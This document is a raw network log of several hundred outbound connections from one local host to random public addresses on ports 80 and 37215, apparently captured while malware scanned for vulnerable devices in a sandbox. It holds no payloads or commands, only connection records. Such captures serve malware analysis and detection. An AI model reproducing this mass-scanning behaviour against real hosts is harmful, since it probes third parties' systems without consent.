Jan 5, 2025 14:34:55.989132881 CET	29479	37215	192.168.2.13	197.117.8.134
Jan 5, 2025 14:34:55.989132881 CET	29479	37215	192.168.2.13	41.236.120.67
Jan 5, 2025 14:34:55.989139080 CET	29477	80	192.168.2.13	143.45.148.163
Jan 5, 2025 14:34:55.989139080 CET	29477	80	192.168.2.13	67.9.135.129
Jan 5, 2025 14:34:55.989139080 CET	29479	37215	192.168.2.13	156.179.201.214
Jan 5, 2025 14:34:55.989139080 CET	29479	37215	192.168.2.13	156.5.138.214
Jan 5, 2025 14:34:55.989139080 CET	29477	80	192.168.2.13	198.200.233.52
Jan 5, 2025 14:34:55.989139080 CET	29479	37215	192.168.2.13	197.92.30.84
Jan 5, 2025 14:34:55.989139080 CET	29477	80	192.168.2.13	132.186.154.242
Jan 5, 2025 14:34:55.989139080 CET	29477	80	192.168.2.13	152.182.59.111
Jan 5, 2025 14:34:55.989145041 CET	29479	37215	192.168.2.13	156.95.71.29
Jan 5, 2025 14:34:55.989145041 CET	29477	80	192.168.2.13	137.6.111.112
Jan 5, 2025 14:34:55.989145041 CET	29479	37215	192.168.2.13	197.208.76.236
Jan 5, 2025 14:34:55.989149094 CET	29479	37215	192.168.2.13	41.72.190.137
Jan 5, 2025 14:34:55.989149094 CET	29477	80	192.168.2.13	208.213.250.51
Jan 5, 2025 14:34:55.989150047 CET	29477	80	192.168.2.13	171.113.221.188
Jan 5, 2025 14:34:55.989149094 CET	29479	37215	192.168.2.13	156.172.71.132
Jan 5, 2025 14:34:55.989150047 CET	29477	80	192.168.2.13	205.162.121.180
Jan 5, 2025 14:34:55.989150047 CET	29477	80	192.168.2.13	70.198.202.116
Jan 5, 2025 14:34:55.989150047 CET	29477	80	192.168.2.13	204.196.131.118
Jan 5, 2025 14:34:55.989151955 CET	29477	80	192.168.2.13	9.193.2.27
Jan 5, 2025 14:34:55.989157915 CET	29479	37215	192.168.2.13	156.232.166.46
Jan 5, 2025 14:34:55.989161968 CET	29479	37215	192.168.2.13	156.161.17.200
Jan 5, 2025 14:34:55.989161968 CET	29479	37215	192.168.2.13	41.153.29.78
Jan 5, 2025 14:34:55.989161968 CET	29479	37215	192.168.2.13	197.30.111.235
Jan 5, 2025 14:34:55.989161968 CET	29477	80	192.168.2.13	181.170.244.65
Jan 5, 2025 14:34:55.989161968 CET	29479	37215	192.168.2.13	156.143.189.145
Jan 5, 2025 14:34:55.989161968 CET	29479	37215	192.168.2.13	197.175.144.238
Jan 5, 2025 14:34:55.989161968 CET	29477	80	192.168.2.13	86.224.5.54
Jan 5, 2025 14:34:55.989168882 CET	29477	80	192.168.2.13	162.178.126.106
Jan 5, 2025 14:34:55.989170074 CET	29479	37215	192.168.2.13	156.175.219.129
Jan 5, 2025 14:34:55.989170074 CET	29479	37215	192.168.2.13	41.181.179.122
Jan 5, 2025 14:34:55.989170074 CET	29479	37215	192.168.2.13	156.38.109.138
Jan 5, 2025 14:34:55.989170074 CET	29479	37215	192.168.2.13	197.74.7.165
Jan 5, 2025 14:34:55.989172935 CET	29479	37215	192.168.2.13	156.252.49.14
Jan 5, 2025 14:34:55.989172935 CET	29479	37215	192.168.2.13	197.194.127.58
Jan 5, 2025 14:34:55.989172935 CET	29477	80	192.168.2.13	152.78.31.255
Jan 5, 2025 14:34:55.989172935 CET	29477	80	192.168.2.13	183.59.94.135
Jan 5, 2025 14:34:55.989173889 CET	29479	37215	192.168.2.13	41.23.227.100
Jan 5, 2025 14:34:55.989172935 CET	29479	37215	192.168.2.13	41.231.49.187
Jan 5, 2025 14:34:55.989175081 CET	29479	37215	192.168.2.13	197.10.211.224
Jan 5, 2025 14:34:55.989173889 CET	29477	80	192.168.2.13	58.151.42.65
Jan 5, 2025 14:34:55.989176035 CET	29477	80	192.168.2.13	181.189.178.68
Jan 5, 2025 14:34:55.989173889 CET	29479	37215	192.168.2.13	41.76.24.196
Jan 5, 2025 14:34:55.989173889 CET	29479	37215	192.168.2.13	156.13.38.136
Jan 5, 2025 14:34:55.989187956 CET	29479	37215	192.168.2.13	197.241.141.57
Jan 5, 2025 14:34:55.989187956 CET	29477	80	192.168.2.13	125.139.101.28
Jan 5, 2025 14:34:55.989187956 CET	29477	80	192.168.2.13	17.124.71.134
Jan 5, 2025 14:34:55.989197016 CET	29477	80	192.168.2.13	187.232.173.180
Jan 5, 2025 14:34:55.989197016 CET	29477	80	192.168.2.13	104.90.198.106
Jan 5, 2025 14:34:55.989197016 CET	29479	37215	192.168.2.13	41.5.204.49
Jan 5, 2025 14:34:55.989197969 CET	29477	80	192.168.2.13	17.146.233.21
Jan 5, 2025 14:34:55.989197969 CET	29477	80	192.168.2.13	50.156.209.133
Jan 5, 2025 14:34:55.989200115 CET	29477	80	192.168.2.13	154.36.5.161
Jan 5, 2025 14:34:55.989197969 CET	29477	80	192.168.2.13	95.77.194.72
Jan 5, 2025 14:34:55.989201069 CET	29479	37215	192.168.2.13	156.26.91.228
Jan 5, 2025 14:34:55.989197969 CET	29479	37215	192.168.2.13	197.149.245.162
Jan 5, 2025 14:34:55.989201069 CET	29477	80	192.168.2.13	167.233.78.169
Jan 5, 2025 14:34:55.989197969 CET	29479	37215	192.168.2.13	156.225.112.108
Jan 5, 2025 14:34:55.989201069 CET	29479	37215	192.168.2.13	41.125.113.244
Jan 5, 2025 14:34:55.989201069 CET	29477	80	192.168.2.13	61.232.82.55
Jan 5, 2025 14:34:55.989200115 CET	29479	37215	192.168.2.13	197.3.234.168
Jan 5, 2025 14:34:55.989201069 CET	29477	80	192.168.2.13	79.147.27.163
Jan 5, 2025 14:34:55.989197969 CET	29477	80	192.168.2.13	208.145.8.139
Jan 5, 2025 14:34:55.989201069 CET	29479	37215	192.168.2.13	197.170.239.48
Jan 5, 2025 14:34:55.989201069 CET	29477	80	192.168.2.13	131.101.6.217
Jan 5, 2025 14:34:55.989201069 CET	29479	37215	192.168.2.13	197.152.237.42
Jan 5, 2025 14:34:55.989201069 CET	29477	80	192.168.2.13	182.50.199.196
Jan 5, 2025 14:34:55.989197969 CET	29479	37215	192.168.2.13	41.144.27.146
Jan 5, 2025 14:34:55.989216089 CET	29477	80	192.168.2.13	5.115.77.45
Jan 5, 2025 14:34:55.989216089 CET	29479	37215	192.168.2.13	197.203.29.69
Jan 5, 2025 14:34:55.989216089 CET	29477	80	192.168.2.13	63.79.25.43
Jan 5, 2025 14:34:55.989216089 CET	29479	37215	192.168.2.13	197.25.13.96
Jan 5, 2025 14:34:55.989217997 CET	29477	80	192.168.2.13	37.79.144.161
Jan 5, 2025 14:34:55.989217043 CET	29477	80	192.168.2.13	67.114.66.187
Jan 5, 2025 14:34:55.989221096 CET	29479	37215	192.168.2.13	156.198.255.198
Jan 5, 2025 14:34:55.989221096 CET	29477	80	192.168.2.13	179.113.70.10
Jan 5, 2025 14:34:55.989221096 CET	29477	80	192.168.2.13	98.224.106.43
Jan 5, 2025 14:34:55.989221096 CET	29479	37215	192.168.2.13	156.147.36.81
Jan 5, 2025 14:34:55.989223003 CET	29479	37215	192.168.2.13	156.51.70.136
Jan 5, 2025 14:34:55.989223957 CET	29479	37215	192.168.2.13	156.170.193.12
Jan 5, 2025 14:34:55.989223003 CET	29479	37215	192.168.2.13	197.129.254.117
Jan 5, 2025 14:34:55.989223957 CET	29477	80	192.168.2.13	197.213.192.73
Jan 5, 2025 14:34:55.989223003 CET	29479	37215	192.168.2.13	197.6.80.86
Jan 5, 2025 14:34:55.989223957 CET	29477	80	192.168.2.13	200.57.114.43
Jan 5, 2025 14:34:55.989223003 CET	29479	37215	192.168.2.13	156.82.45.84
Jan 5, 2025 14:34:55.989226103 CET	29477	80	192.168.2.13	126.108.47.20
Jan 5, 2025 14:34:55.989223003 CET	29479	37215	192.168.2.13	197.245.24.16
Jan 5, 2025 14:34:55.989226103 CET	29479	37215	192.168.2.13	197.16.107.2
Jan 5, 2025 14:34:55.989223957 CET	29477	80	192.168.2.13	92.9.212.13
Jan 5, 2025 14:34:55.989226103 CET	29477	80	192.168.2.13	32.206.118.143
Jan 5, 2025 14:34:55.989223957 CET	29479	37215	192.168.2.13	41.242.16.57
Jan 5, 2025 14:34:55.989238977 CET	29479	37215	192.168.2.13	41.140.127.189
Jan 5, 2025 14:34:55.989238977 CET	29477	80	192.168.2.13	185.158.243.22
Jan 5, 2025 14:34:55.989239931 CET	29479	37215	192.168.2.13	41.78.74.8
Jan 5, 2025 14:34:55.989239931 CET	29479	37215	192.168.2.13	156.26.13.10
Jan 5, 2025 14:34:55.989239931 CET	29479	37215	192.168.2.13	41.236.33.6
Jan 5, 2025 14:34:55.989242077 CET	29479	37215	192.168.2.13	41.162.239.40
Jan 5, 2025 14:34:55.989242077 CET	29477	80	192.168.2.13	152.19.157.244
Jan 5, 2025 14:34:55.989242077 CET	29477	80	192.168.2.13	210.74.171.16
Jan 5, 2025 14:34:55.989243031 CET	29479	37215	192.168.2.13	41.42.184.32
Jan 5, 2025 14:34:55.989243031 CET	29479	37215	192.168.2.13	197.146.204.180
Jan 5, 2025 14:34:55.989243031 CET	29479	37215	192.168.2.13	197.203.15.193
Jan 5, 2025 14:34:55.989243031 CET	29477	80	192.168.2.13	152.240.207.47
Jan 5, 2025 14:34:55.989244938 CET	29477	80	192.168.2.13	78.64.122.182
Jan 5, 2025 14:34:55.989244938 CET	29477	80	192.168.2.13	129.91.124.3
Jan 5, 2025 14:34:55.989244938 CET	29477	80	192.168.2.13	176.27.241.26
Jan 5, 2025 14:34:55.989265919 CET	29477	80	192.168.2.13	169.253.34.195
Jan 5, 2025 14:34:55.989265919 CET	29477	80	192.168.2.13	17.106.65.225
Jan 5, 2025 14:34:55.989267111 CET	29479	37215	192.168.2.13	41.150.159.126
Jan 5, 2025 14:34:55.989267111 CET	29479	37215	192.168.2.13	156.56.203.205
Jan 5, 2025 14:34:55.989267111 CET	29479	37215	192.168.2.13	197.17.133.128
Jan 5, 2025 14:34:55.989268064 CET	29479	37215	192.168.2.13	197.162.74.11
Jan 5, 2025 14:34:55.989268064 CET	29479	37215	192.168.2.13	197.176.113.173
Jan 5, 2025 14:34:55.989268064 CET	29479	37215	192.168.2.13	156.14.111.177
Jan 5, 2025 14:34:55.989268064 CET	29477	80	192.168.2.13	206.246.130.215
Jan 5, 2025 14:34:55.989268064 CET	29477	80	192.168.2.13	181.218.136.12
Jan 5, 2025 14:34:55.989268064 CET	29477	80	192.168.2.13	206.148.129.125
Jan 5, 2025 14:34:55.989272118 CET	29477	80	192.168.2.13	130.52.255.178
Jan 5, 2025 14:34:55.989269018 CET	29479	37215	192.168.2.13	197.122.108.239
Jan 5, 2025 14:34:55.989268064 CET	29479	37215	192.168.2.13	197.236.185.150
Jan 5, 2025 14:34:55.989272118 CET	29477	80	192.168.2.13	8.212.107.174
Jan 5, 2025 14:34:55.989272118 CET	29479	37215	192.168.2.13	197.25.138.79
Jan 5, 2025 14:34:55.989269018 CET	29479	37215	192.168.2.13	156.174.51.168
Jan 5, 2025 14:34:55.989269972 CET	29477	80	192.168.2.13	106.82.147.244
Jan 5, 2025 14:34:55.989267111 CET	29477	80	192.168.2.13	81.243.48.24
Jan 5, 2025 14:34:55.989269972 CET	29477	80	192.168.2.13	158.194.24.145
Jan 5, 2025 14:34:55.989272118 CET	29479	37215	192.168.2.13	197.192.193.22
Jan 5, 2025 14:34:55.989283085 CET	29477	80	192.168.2.13	42.123.156.100
Jan 5, 2025 14:34:55.989281893 CET	29477	80	192.168.2.13	201.100.81.178
Jan 5, 2025 14:34:55.989284992 CET	29477	80	192.168.2.13	179.252.231.54
Jan 5, 2025 14:34:55.989269972 CET	29479	37215	192.168.2.13	197.242.19.203
Jan 5, 2025 14:34:55.989281893 CET	29477	80	192.168.2.13	66.223.76.169
Jan 5, 2025 14:34:55.989275932 CET	29479	37215	192.168.2.13	156.140.20.28
Jan 5, 2025 14:34:55.989269972 CET	29479	37215	192.168.2.13	156.244.236.72
Jan 5, 2025 14:34:55.989275932 CET	29477	80	192.168.2.13	151.117.123.85
Jan 5, 2025 14:34:55.989269972 CET	29477	80	192.168.2.13	19.151.91.32
Jan 5, 2025 14:34:55.989284992 CET	29479	37215	192.168.2.13	156.91.128.79
Jan 5, 2025 14:34:55.989275932 CET	29479	37215	192.168.2.13	41.222.237.213
Jan 5, 2025 14:34:55.989291906 CET	29477	80	192.168.2.13	156.37.11.61
Jan 5, 2025 14:34:55.989275932 CET	29477	80	192.168.2.13	43.184.185.110
Jan 5, 2025 14:34:55.989291906 CET	29479	37215	192.168.2.13	156.255.187.31
Jan 5, 2025 14:34:55.989275932 CET	29477	80	192.168.2.13	43.183.103.15
Jan 5, 2025 14:34:55.989291906 CET	29477	80	192.168.2.13	119.78.243.104
Jan 5, 2025 14:34:55.989275932 CET	29479	37215	192.168.2.13	156.78.14.104
Jan 5, 2025 14:34:55.989275932 CET	29479	37215	192.168.2.13	41.35.43.121
Jan 5, 2025 14:34:55.989281893 CET	29477	80	192.168.2.13	197.206.63.160
Jan 5, 2025 14:34:55.989284992 CET	29477	80	192.168.2.13	157.93.113.154
Jan 5, 2025 14:34:55.989291906 CET	29479	37215	192.168.2.13	156.139.8.122
Jan 5, 2025 14:34:55.989285946 CET	29477	80	192.168.2.13	177.166.220.238
Jan 5, 2025 14:34:55.989303112 CET	29479	37215	192.168.2.13	197.166.186.72
Jan 5, 2025 14:34:55.989303112 CET	29477	80	192.168.2.13	167.234.207.72
Jan 5, 2025 14:34:55.989304066 CET	29479	37215	192.168.2.13	156.66.42.71
Jan 5, 2025 14:34:55.989303112 CET	29479	37215	192.168.2.13	156.225.132.250
Jan 5, 2025 14:34:55.989304066 CET	29477	80	192.168.2.13	163.240.86.18
Jan 5, 2025 14:34:55.989304066 CET	29479	37215	192.168.2.13	41.209.65.123
Jan 5, 2025 14:34:55.989305019 CET	29479	37215	192.168.2.13	41.250.45.81
Jan 5, 2025 14:34:55.989306927 CET	29477	80	192.168.2.13	1.67.20.91
Jan 5, 2025 14:34:55.989306927 CET	29479	37215	192.168.2.13	41.36.55.38
Jan 5, 2025 14:34:55.989306927 CET	29477	80	192.168.2.13	181.123.146.110
Jan 5, 2025 14:34:55.989305019 CET	29479	37215	192.168.2.13	197.154.122.74
Jan 5, 2025 14:34:55.989309072 CET	29477	80	192.168.2.13	24.115.58.110
Jan 5, 2025 14:34:55.989310026 CET	29479	37215	192.168.2.13	41.156.146.134
Jan 5, 2025 14:34:55.989311934 CET	29479	37215	192.168.2.13	41.214.192.112
Jan 5, 2025 14:34:55.989310026 CET	29479	37215	192.168.2.13	41.149.170.60
Jan 5, 2025 14:34:55.989309072 CET	29479	37215	192.168.2.13	156.236.21.94
Jan 5, 2025 14:34:55.989305019 CET	29477	80	192.168.2.13	14.245.204.178
Jan 5, 2025 14:34:55.989314079 CET	29479	37215	192.168.2.13	41.120.139.238
Jan 5, 2025 14:34:55.989311934 CET	29479	37215	192.168.2.13	41.72.33.65
Jan 5, 2025 14:34:55.989314079 CET	29479	37215	192.168.2.13	197.123.189.62
Jan 5, 2025 14:34:55.989311934 CET	29477	80	192.168.2.13	14.173.15.211
Jan 5, 2025 14:34:55.989314079 CET	29479	37215	192.168.2.13	197.155.56.168
Jan 5, 2025 14:34:55.989305019 CET	29477	80	192.168.2.13	133.184.217.171
Jan 5, 2025 14:34:55.989309072 CET	29477	80	192.168.2.13	152.154.69.204
Jan 5, 2025 14:34:55.989305019 CET	29477	80	192.168.2.13	207.109.55.43
Jan 5, 2025 14:34:55.989309072 CET	29479	37215	192.168.2.13	197.96.226.75
Jan 5, 2025 14:34:55.989311934 CET	29477	80	192.168.2.13	142.241.84.68
Jan 5, 2025 14:34:55.989326000 CET	29477	80	192.168.2.13	12.89.68.236
Jan 5, 2025 14:34:55.989305019 CET	29477	80	192.168.2.13	117.140.40.163
Jan 5, 2025 14:34:55.989326000 CET	29477	80	192.168.2.13	140.217.145.226
Jan 5, 2025 14:34:55.989305019 CET	29477	80	192.168.2.13	161.119.81.189
Jan 5, 2025 14:34:55.989329100 CET	29477	80	192.168.2.13	77.86.212.194
Jan 5, 2025 14:34:55.989311934 CET	29477	80	192.168.2.13	169.10.234.145
Jan 5, 2025 14:34:55.989329100 CET	29477	80	192.168.2.13	45.222.114.47
Jan 5, 2025 14:34:55.989326000 CET	29477	80	192.168.2.13	58.29.207.64
Jan 5, 2025 14:34:55.989326000 CET	29477	80	192.168.2.13	125.41.36.224
Jan 5, 2025 14:34:55.989329100 CET	29479	37215	192.168.2.13	156.63.0.239
Jan 5, 2025 14:34:55.989332914 CET	29479	37215	192.168.2.13	41.56.176.233
Jan 5, 2025 14:34:55.989326000 CET	29477	80	192.168.2.13	97.162.78.244
Jan 5, 2025 14:34:55.989332914 CET	29479	37215	192.168.2.13	156.111.151.37
Jan 5, 2025 14:34:55.989326000 CET	29479	37215	192.168.2.13	156.107.153.150
Jan 5, 2025 14:34:55.989332914 CET	29479	37215	192.168.2.13	156.94.137.160
Jan 5, 2025 14:34:55.989334106 CET	29479	37215	192.168.2.13	156.21.163.163
Jan 5, 2025 14:34:55.989341021 CET	29477	80	192.168.2.13	80.102.111.88
Jan 5, 2025 14:34:55.989341021 CET	29479	37215	192.168.2.13	41.14.99.234
Jan 5, 2025 14:34:55.989341021 CET	29479	37215	192.168.2.13	197.78.236.6
Jan 5, 2025 14:34:55.989343882 CET	29477	80	192.168.2.13	99.106.32.244
Jan 5, 2025 14:34:55.989343882 CET	29477	80	192.168.2.13	40.72.213.66
Jan 5, 2025 14:34:55.989345074 CET	29477	80	192.168.2.13	61.145.133.104
Jan 5, 2025 14:34:55.989351034 CET	29479	37215	192.168.2.13	41.156.214.116
Jan 5, 2025 14:34:55.989353895 CET	29477	80	192.168.2.13	81.90.209.108
Jan 5, 2025 14:34:55.989353895 CET	29479	37215	192.168.2.13	41.14.238.99
Jan 5, 2025 14:34:55.989356995 CET	29477	80	192.168.2.13	57.186.146.203
Jan 5, 2025 14:34:55.989362955 CET	29479	37215	192.168.2.13	41.195.156.240
Jan 5, 2025 14:34:55.989362955 CET	29477	80	192.168.2.13	36.112.134.122
Jan 5, 2025 14:34:55.989366055 CET	29477	80	192.168.2.13	9.34.73.21
Jan 5, 2025 14:34:55.989367962 CET	29479	37215	192.168.2.13	197.15.45.49
Jan 5, 2025 14:34:55.989375114 CET	29479	37215	192.168.2.13	41.235.135.160
Jan 5, 2025 14:34:55.989377022 CET	29479	37215	192.168.2.13	197.102.219.182
Jan 5, 2025 14:34:55.989386082 CET	29477	80	192.168.2.13	146.125.116.221
Jan 5, 2025 14:34:55.989389896 CET	29479	37215	192.168.2.13	156.41.94.212
Jan 5, 2025 14:34:55.989394903 CET	29477	80	192.168.2.13	119.56.69.81
Jan 5, 2025 14:34:55.989396095 CET	29479	37215	192.168.2.13	41.241.77.8
Jan 5, 2025 14:34:55.989396095 CET	29479	37215	192.168.2.13	156.48.69.36
Jan 5, 2025 14:34:55.989396095 CET	29479	37215	192.168.2.13	156.157.89.205
Jan 5, 2025 14:34:55.989403009 CET	29479	37215	192.168.2.13	41.100.25.172
Jan 5, 2025 14:34:55.989403963 CET	29477	80	192.168.2.13	132.185.152.36
Jan 5, 2025 14:34:55.989404917 CET	29479	37215	192.168.2.13	156.126.63.242
Jan 5, 2025 14:34:55.989406109 CET	29479	37215	192.168.2.13	41.243.15.161
Jan 5, 2025 14:34:55.989404917 CET	29479	37215	192.168.2.13	156.132.152.142
Jan 5, 2025 14:34:55.989406109 CET	29479	37215	192.168.2.13	197.141.116.122
Jan 5, 2025 14:34:55.989409924 CET	29479	37215	192.168.2.13	197.57.96.179
Jan 5, 2025 14:34:55.989414930 CET	29479	37215	192.168.2.13	197.152.77.209
Jan 5, 2025 14:34:55.989417076 CET	29477	80	192.168.2.13	157.245.183.105
Jan 5, 2025 14:34:55.989419937 CET	29477	80	192.168.2.13	25.192.180.213
Jan 5, 2025 14:34:55.989419937 CET	29477	80	192.168.2.13	84.174.131.233
Jan 5, 2025 14:34:55.989423990 CET	29479	37215	192.168.2.13	41.46.64.7
Jan 5, 2025 14:34:55.989424944 CET	29477	80	192.168.2.13	35.103.178.136
Jan 5, 2025 14:34:55.989424944 CET	29477	80	192.168.2.13	41.127.70.63
Jan 5, 2025 14:34:55.989430904 CET	29477	80	192.168.2.13	104.122.217.112
Jan 5, 2025 14:34:55.989432096 CET	29479	37215	192.168.2.13	197.171.112.22
Jan 5, 2025 14:34:55.989432096 CET	29477	80	192.168.2.13	58.112.166.167
Jan 5, 2025 14:34:55.989435911 CET	29477	80	192.168.2.13	53.167.250.59
Jan 5, 2025 14:34:55.989438057 CET	29479	37215	192.168.2.13	197.143.3.76
Jan 5, 2025 14:34:55.989439011 CET	29477	80	192.168.2.13	38.28.97.120
Jan 5, 2025 14:34:55.989439011 CET	29479	37215	192.168.2.13	197.155.32.13
Jan 5, 2025 14:34:55.989443064 CET	29477	80	192.168.2.13	221.146.127.4
Jan 5, 2025 14:34:55.989443064 CET	29477	80	192.168.2.13	65.54.51.248
Jan 5, 2025 14:34:55.989443064 CET	29477	80	192.168.2.13	163.192.61.54
Jan 5, 2025 14:34:55.989439964 CET	29477	80	192.168.2.13	187.130.50.171
Jan 5, 2025 14:34:55.989443064 CET	29477	80	192.168.2.13	106.145.4.167
Jan 5, 2025 14:34:55.989447117 CET	29479	37215	192.168.2.13	156.7.231.65
Jan 5, 2025 14:34:55.989449978 CET	29479	37215	192.168.2.13	41.68.137.143
Jan 5, 2025 14:34:55.989454031 CET	29477	80	192.168.2.13	136.168.199.211
Jan 5, 2025 14:34:55.989454985 CET	29477	80	192.168.2.13	168.219.12.198
Jan 5, 2025 14:34:55.989454985 CET	29477	80	192.168.2.13	81.232.132.12
Jan 5, 2025 14:34:55.989454985 CET	29479	37215	192.168.2.13	197.73.100.153
Jan 5, 2025 14:34:55.989456892 CET	29479	37215	192.168.2.13	156.66.69.129
Jan 5, 2025 14:34:55.989456892 CET	29479	37215	192.168.2.13	156.223.141.80
Jan 5, 2025 14:34:55.989456892 CET	29477	80	192.168.2.13	151.92.84.57
Jan 5, 2025 14:34:55.989475012 CET	29477	80	192.168.2.13	125.121.63.187
Jan 5, 2025 14:34:55.989476919 CET	29477	80	192.168.2.13	171.92.44.218
Jan 5, 2025 14:34:55.989479065 CET	29479	37215	192.168.2.13	197.250.66.90
Jan 5, 2025 14:34:55.989480019 CET	29479	37215	192.168.2.13	41.95.250.17
Jan 5, 2025 14:34:55.989480019 CET	29477	80	192.168.2.13	176.96.176.98
Jan 5, 2025 14:34:55.989485979 CET	29477	80	192.168.2.13	207.116.242.71
Jan 5, 2025 14:34:55.989490986 CET	29479	37215	192.168.2.13	41.191.87.102
Jan 5, 2025 14:34:55.989490986 CET	29479	37215	192.168.2.13	156.73.142.47
Jan 5, 2025 14:34:55.989490986 CET	29477	80	192.168.2.13	13.238.33.157
Jan 5, 2025 14:34:55.989500046 CET	29479	37215	192.168.2.13	41.28.180.1
Jan 5, 2025 14:34:55.989500046 CET	29479	37215	192.168.2.13	41.53.84.141
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	74.125.81.126
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	5.126.230.100
Jan 5, 2025 14:34:55.989501953 CET	29479	37215	192.168.2.13	41.196.148.130
Jan 5, 2025 14:34:55.989500046 CET	29479	37215	192.168.2.13	156.211.214.203
Jan 5, 2025 14:34:55.989500046 CET	29479	37215	192.168.2.13	197.244.35.31
Jan 5, 2025 14:34:55.989501953 CET	29479	37215	192.168.2.13	197.33.227.242
Jan 5, 2025 14:34:55.989506006 CET	29477	80	192.168.2.13	173.54.40.118
Jan 5, 2025 14:34:55.989502907 CET	29479	37215	192.168.2.13	41.130.103.76
Jan 5, 2025 14:34:55.989506006 CET	29477	80	192.168.2.13	211.37.80.165
Jan 5, 2025 14:34:55.989502907 CET	29479	37215	192.168.2.13	197.203.94.100
Jan 5, 2025 14:34:55.989506006 CET	29477	80	192.168.2.13	200.146.230.70
Jan 5, 2025 14:34:55.989515066 CET	29477	80	192.168.2.13	106.42.139.12
Jan 5, 2025 14:34:55.989516973 CET	29477	80	192.168.2.13	20.149.165.36
Jan 5, 2025 14:34:55.989515066 CET	29479	37215	192.168.2.13	41.31.188.126
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	182.95.3.222
Jan 5, 2025 14:34:55.989521027 CET	29477	80	192.168.2.13	155.178.39.204
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	180.108.143.105
Jan 5, 2025 14:34:55.989521027 CET	29477	80	192.168.2.13	208.140.41.67
Jan 5, 2025 14:34:55.989516973 CET	29477	80	192.168.2.13	43.199.243.84
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	39.207.161.72
Jan 5, 2025 14:34:55.989523888 CET	29477	80	192.168.2.13	25.88.200.63
Jan 5, 2025 14:34:55.989500046 CET	29477	80	192.168.2.13	118.20.37.90
Jan 5, 2025 14:34:55.989523888 CET	29477	80	192.168.2.13	61.245.33.62
Jan 5, 2025 14:34:55.989516973 CET	29479	37215	192.168.2.13	41.113.191.223
Jan 5, 2025 14:34:55.989523888 CET	29477	80	192.168.2.13	117.145.138.139
Jan 5, 2025 14:34:55.989516973 CET	29477	80	192.168.2.13	174.152.22.28
Jan 5, 2025 14:34:55.989500046 CET	29479	37215	192.168.2.13	41.128.253.130
Jan 5, 2025 14:34:55.989527941 CET	29479	37215	192.168.2.13	156.25.224.124
Jan 5, 2025 14:34:55.989523888 CET	29479	37215	192.168.2.13	197.158.251.183
Jan 5, 2025 14:34:55.989527941 CET	29477	80	192.168.2.13	79.57.7.111
Jan 5, 2025 14:34:55.989528894 CET	29477	80	192.168.2.13	139.236.159.63
Jan 5, 2025 14:34:55.989523888 CET	29479	37215	192.168.2.13	156.188.184.163
Jan 5, 2025 14:34:55.989528894 CET	29477	80	192.168.2.13	35.224.64.30
Jan 5, 2025 14:34:55.989536047 CET	29479	37215	192.168.2.13	197.220.156.144
Jan 5, 2025 14:34:55.989521027 CET	29479	37215	192.168.2.13	197.102.24.65
Jan 5, 2025 14:34:55.989521027 CET	29477	80	192.168.2.13	107.68.223.50
Jan 5, 2025 14:34:55.989532948 CET	29477	80	192.168.2.13	199.25.203.137
Jan 5, 2025 14:34:55.989540100 CET	29477	80	192.168.2.13	197.123.0.181
Jan 5, 2025 14:34:55.989540100 CET	29479	37215	192.168.2.13	197.21.13.0
Jan 5, 2025 14:34:55.989540100 CET	29479	37215	192.168.2.13	41.56.177.63
Jan 5, 2025 14:34:55.989540100 CET	29477	80	192.168.2.13	177.216.9.13
Jan 5, 2025 14:34:55.989540100 CET	29479	37215	192.168.2.13	197.3.200.244
Jan 5, 2025 14:34:55.989540100 CET	29479	37215	192.168.2.13	41.134.231.194
Jan 5, 2025 14:34:55.989540100 CET	29477	80	192.168.2.13	67.31.229.76
Jan 5, 2025 14:34:55.989543915 CET	29479	37215	192.168.2.13	41.40.42.226
Jan 5, 2025 14:34:55.989545107 CET	29477	80	192.168.2.13	117.181.86.162
Jan 5, 2025 14:34:55.989552021 CET	29477	80	192.168.2.13	152.54.196.157
Jan 5, 2025 14:34:55.989554882 CET	29479	37215	192.168.2.13	197.79.247.216
Jan 5, 2025 14:34:55.989554882 CET	29477	80	192.168.2.13	116.84.7.33
Jan 5, 2025 14:34:55.989568949 CET	29479	37215	192.168.2.13	197.45.168.165
Jan 5, 2025 14:34:55.989568949 CET	29479	37215	192.168.2.13	197.162.27.221
Jan 5, 2025 14:34:55.989568949 CET	29479	37215	192.168.2.13	197.217.85.152
Jan 5, 2025 14:34:55.989573002 CET	29477	80	192.168.2.13	157.255.200.81
Jan 5, 2025 14:34:55.989576101 CET	29477	80	192.168.2.13	2.101.87.17
Jan 5, 2025 14:34:55.989579916 CET	29477	80	192.168.2.13	218.30.152.130
Jan 5, 2025 14:34:55.989588022 CET	29479	37215	192.168.2.13	41.6.107.227
Jan 5, 2025 14:34:55.989598989 CET	29477	80	192.168.2.13	133.28.151.183
Jan 5, 2025 14:34:55.989602089 CET	29479	37215	192.168.2.13	197.166.59.9
Jan 5, 2025 14:34:55.989602089 CET	29479	37215	192.168.2.13	41.160.134.209
Jan 5, 2025 14:34:55.989603043 CET	29479	37215	192.168.2.13	156.13.114.233
Jan 5, 2025 14:34:55.989603043 CET	29477	80	192.168.2.13	112.184.175.122
Jan 5, 2025 14:34:55.989603996 CET	29477	80	192.168.2.13	82.226.52.163
Jan 5, 2025 14:34:55.989597082 CET	29477	80	192.168.2.13	70.7.173.45
Jan 5, 2025 14:34:55.989597082 CET	29479	37215	192.168.2.13	156.151.197.75
Jan 5, 2025 14:34:55.989604950 CET	29477	80	192.168.2.13	145.65.72.170
Jan 5, 2025 14:34:55.989597082 CET	29479	37215	192.168.2.13	197.161.14.129
Jan 5, 2025 14:34:55.989608049 CET	29477	80	192.168.2.13	221.121.145.71
Jan 5, 2025 14:34:55.989609957 CET	29479	37215	192.168.2.13	197.232.80.138
Jan 5, 2025 14:34:55.989609957 CET	29479	37215	192.168.2.13	156.196.49.97
Jan 5, 2025 14:34:55.989615917 CET	29479	37215	192.168.2.13	156.195.40.134
Jan 5, 2025 14:34:55.989619970 CET	29479	37215	192.168.2.13	156.130.59.121
Jan 5, 2025 14:34:55.989619970 CET	29479	37215	192.168.2.13	41.26.136.54
Jan 5, 2025 14:34:55.989619970 CET	29479	37215	192.168.2.13	156.8.132.236
Jan 5, 2025 14:34:55.989624023 CET	29477	80	192.168.2.13	203.98.170.81
Jan 5, 2025 14:34:55.989624023 CET	29479	37215	192.168.2.13	41.241.244.232
Jan 5, 2025 14:34:55.989628077 CET	29479	37215	192.168.2.13	197.28.36.189
